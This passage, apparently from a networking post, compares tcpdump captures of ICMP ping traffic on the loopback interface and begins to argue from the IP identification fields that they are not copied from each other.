    127.0.0.1 > 127.0.0.5: ICMP echo request, id 5796, seq 1, length 64
08:31:54.862667 IP (tos 0x0, ttl 64, id 36489, offset 0, flags [none], proto ICMP (1), length 84)
    127.0.0.5 > 127.0.0.1: ICMP echo reply, id 5796, seq 1, length 64
08:31:54.990472 IP (tos 0x0, ttl 64, id 53551, offset 0, flags [DF], proto ICMP (1), length 84)
    127.0.0.1 > 127.0.0.5: ICMP echo request, id 5796, seq 2, length 64
08:31:55.018247 IP (tos 0x0, ttl 64, id 48089, offset 0, flags [none], proto ICMP (1), length 84)
    127.0.0.5 > 127.0.0.1: ICMP echo reply, id 5796, seq 2, length 64
08:31:55.165880 IP (tos 0x0, ttl 64, id 53467, offset 0, flags [DF], proto ICMP (1), length 84)
    127.0.0.1 > 127.0.0.5: ICMP echo request, id 5796, seq 3, length 64
08:31:55.205429 IP (tos 0x0, ttl 64, id 40848, offset 0, flags [none], proto ICMP (1), length 84)
    127.0.0.5 > 127.0.0.1: ICMP echo reply, id 5796, seq 3, length 64
08:31:55.362147 IP (tos 0x0, ttl 64, id 55081, offset 0, flags [DF], proto ICMP (1), length 84)
    127.0.0.1 > 127.0.0.5: ICMP echo request, id 5796, seq 4, length 64
08:31:55.390401 IP (tos 0x0, ttl 64, id 39089, offset 0, flags [none], proto ICMP (1), length 84)
    127.0.0.5 > 127.0.0.1: ICMP echo reply, id 5796, seq 4, length 64
08:31:55.525458 IP (tos 0x0, ttl 64, id 38271, offset 0, flags [DF], proto ICMP (1), length 84)
    127.0.0.1 > 127.0.0.5: ICMP echo request, id 5796, seq 5, length 64
08:31:55.554284 IP (tos 0x0, ttl 64, id 28862, offset 0, flags [none], proto ICMP (1), length 84)
    127.0.0.5 > 127.0.0.1: ICMP echo reply, id 5796, seq 5, length 64
08:31:55.697674 IP (tos 0x0, ttl 64, id 53618, offset 0, flags [DF], proto ICMP (1), length 84)
    127.0.0.1 > 127.0.0.5: ICMP echo request, id 5796, seq 6, length 64
08:31:55.733123 IP (tos 0x0, ttl 64, id 38177, offset 0, flags [none], proto ICMP (1), length 84)
    127.0.0.5 > 127.0.0.1: ICMP echo reply, id 5796, seq 6, length 64
08:31:55.878168 IP (tos 0x0, ttl 64, id 28090, offset 0, flags [DF], proto ICMP (1), length 84)
    127.0.0.1 > 127.0.0.5: ICMP echo request, id 5796, seq 7, length 64
08:31:55.909602 IP (tos 0x0, ttl 64, id 17611, offset 0, flags [none], proto ICMP (1), length 84)
    127.0.0.5 > 127.0.0.1: ICMP echo reply, id 5796, seq 7, length 64
^C
14 packets captured
28 packets received by filter
0 packets dropped by kernel

Linux Ping Traffic

ping -c 7 127.0.0.5
PING 127.0.0.5 (127.0.0.5) 56(84) bytes of data.
64 bytes from 127.0.0.5: icmp_seq=1 ttl=64 time=0.031 ms
64 bytes from 127.0.0.5: icmp_seq=2 ttl=64 time=0.047 ms
64 bytes from 127.0.0.5: icmp_seq=3 ttl=64 time=0.053 ms
64 bytes from 127.0.0.5: icmp_seq=4 ttl=64 time=0.053 ms
64 bytes from 127.0.0.5: icmp_seq=5 ttl=64 time=0.050 ms
64 bytes from 127.0.0.5: icmp_seq=6 ttl=64 time=0.050 ms
64 bytes from 127.0.0.5: icmp_seq=7 ttl=64 time=0.052 ms

--- 127.0.0.5 ping statistics ---
7 packets transmitted, 7 received, 0% packet loss, time 6149ms
rtt min/avg/max/mdev = 0.031/0.048/0.053/0.007 ms
tcpdump -i lo icmp -vv -nn
tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes
08:23:43.511965 IP (tos 0x0, ttl 64, id 65001, offset 0, flags [DF], proto ICMP (1), length 84)
    127.0.0.1 > 127.0.0.5: ICMP echo request, id 34064, seq 1, length 64
08:23:43.511975 IP (tos 0x0, ttl 64, id 34349, offset 0, flags [none], proto ICMP (1), length 84)
    127.0.0.5 > 127.0.0.1: ICMP echo reply, id 34064, seq 1, length 64
08:23:44.541260 IP (tos 0x0, ttl 64, id 65026, offset 0, flags [DF], proto ICMP (1), length 84)
    127.0.0.1 > 127.0.0.5: ICMP echo request, id 34064, seq 2, length 64
08:23:44.541273 IP (tos 0x0, ttl 64, id 34539, offset 0, flags [none], proto ICMP (1), length 84)
    127.0.0.5 > 127.0.0.1: ICMP echo reply, id 34064, seq 2, length 64
08:23:45.565248 IP (tos 0x0, ttl 64, id 65215, offset 0, flags [DF], proto ICMP (1), length 84)
    127.0.0.1 > 127.0.0.5: ICMP echo request, id 34064, seq 3, length 64
08:23:45.565262 IP (tos 0x0, ttl 64, id 34742, offset 0, flags [none], proto ICMP (1), length 84)
    127.0.0.5 > 127.0.0.1: ICMP echo reply, id 34064, seq 3, length 64
08:23:46.588884 IP (tos 0x0, ttl 64, id 65448, offset 0, flags [DF], proto ICMP (1), length 84)
    127.0.0.1 > 127.0.0.5: ICMP echo request, id 34064, seq 4, length 64
08:23:46.588898 IP (tos 0x0, ttl 64, id 34956, offset 0, flags [none], proto ICMP (1), length 84)
    127.0.0.5 > 127.0.0.1: ICMP echo reply, id 34064, seq 4, length 64
08:23:47.612154 IP (tos 0x0, ttl 64, id 65491, offset 0, flags [DF], proto ICMP (1), length 84)
    127.0.0.1 > 127.0.0.5: ICMP echo request, id 34064, seq 5, length 64
08:23:47.612167 IP (tos 0x0, ttl 64, id 35125, offset 0, flags [none], proto ICMP (1), length 84)
    127.0.0.5 > 127.0.0.1: ICMP echo reply, id 34064, seq 5, length 64
08:23:48.636315 IP (tos 0x0, ttl 64, id 131, offset 0, flags [DF], proto ICMP (1), length 84)
    127.0.0.1 > 127.0.0.5: ICMP echo request, id 34064, seq 6, length 64
08:23:48.636328 IP (tos 0x0, ttl 64, id 35315, offset 0, flags [none], proto ICMP (1), length 84)
    127.0.0.5 > 127.0.0.1: ICMP echo reply, id 34064, seq 6, length 64
08:23:49.661129 IP (tos 0x0, ttl 64, id 151, offset 0, flags [DF], proto ICMP (1), length 84)
    127.0.0.1 > 127.0.0.5: ICMP echo request, id 34064, seq 7, length 64
08:23:49.661142 IP (tos 0x0, ttl 64, id 35362, offset 0, flags [none], proto ICMP (1), length 84)
    127.0.0.5 > 127.0.0.1: ICMP echo reply, id 34064, seq 7, length 64
^C
14 packets captured
28 packets received by filter
0 packets dropped by kernel

It is no copy-paste

You can say from the IP identification fields...